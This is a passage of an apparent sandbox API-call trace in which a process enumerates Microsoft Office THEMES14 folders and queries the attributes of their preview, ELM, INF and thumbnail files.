	[0050.714] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.714] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.714] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.714] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1264d3b8 | out: lpFileInformation=0x1264d3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f)) returned 1
	[0050.714] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), fInfoLevelId=0x0, lpFileInformation=0x1264d408 | out: lpFileInformation=0x1264d408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e)) returned 1
	[0050.715] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), fInfoLevelId=0x0, lpFileInformation=0x1264d458 | out: lpFileInformation=0x1264d458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a)) returned 1
	[0050.715] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1264d4a8 | out: lpFileInformation=0x1264d4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79)) returned 1
	[0050.715] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr"), fInfoLevelId=0x0, lpFileInformation=0x1264d4f8 | out: lpFileInformation=0x1264d4f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.716] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.716] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.716] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1
	[0050.716] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1
	[0050.716] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.716] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.716] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.716] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1264d688 | out: lpFileInformation=0x1264d688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82)) returned 1
	[0050.716] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), fInfoLevelId=0x0, lpFileInformation=0x1264d6d8 | out: lpFileInformation=0x1264d6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e)) returned 1
	[0050.717] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), fInfoLevelId=0x0, lpFileInformation=0x1264d728 | out: lpFileInformation=0x1264d728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239)) returned 1
	[0050.718] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1264d778 | out: lpFileInformation=0x1264d778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b)) returned 1
	[0050.718] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple"), fInfoLevelId=0x0, lpFileInformation=0x1264d7c8 | out: lpFileInformation=0x1264d7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.718] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.718] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.718] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.718] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1
	[0050.718] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1
	[0050.718] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.718] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.718] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.719] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1264d958 | out: lpFileInformation=0x1264d958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1
	[0050.719] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), fInfoLevelId=0x0, lpFileInformation=0x1264d9a8 | out: lpFileInformation=0x1264d9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0)) returned 1
	[0050.719] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), fInfoLevelId=0x0, lpFileInformation=0x1264d9f8 | out: lpFileInformation=0x1264d9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7)) returned 1
	[0050.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1264da48 | out: lpFileInformation=0x1264da48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7)) returned 1
	[0050.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque"), fInfoLevelId=0x0, lpFileInformation=0x1264da98 | out: lpFileInformation=0x1264da98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.720] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.721] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.721] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.721] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1
	[0050.721] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1
	[0050.721] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.721] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.721] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.721] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1264dc28 | out: lpFileInformation=0x1264dc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004)) returned 1
	[0050.721] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), fInfoLevelId=0x0, lpFileInformation=0x1264dc78 | out: lpFileInformation=0x1264dc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37)) returned 1
	[0050.721] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), fInfoLevelId=0x0, lpFileInformation=0x1264dcc8 | out: lpFileInformation=0x1264dcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265)) returned 1
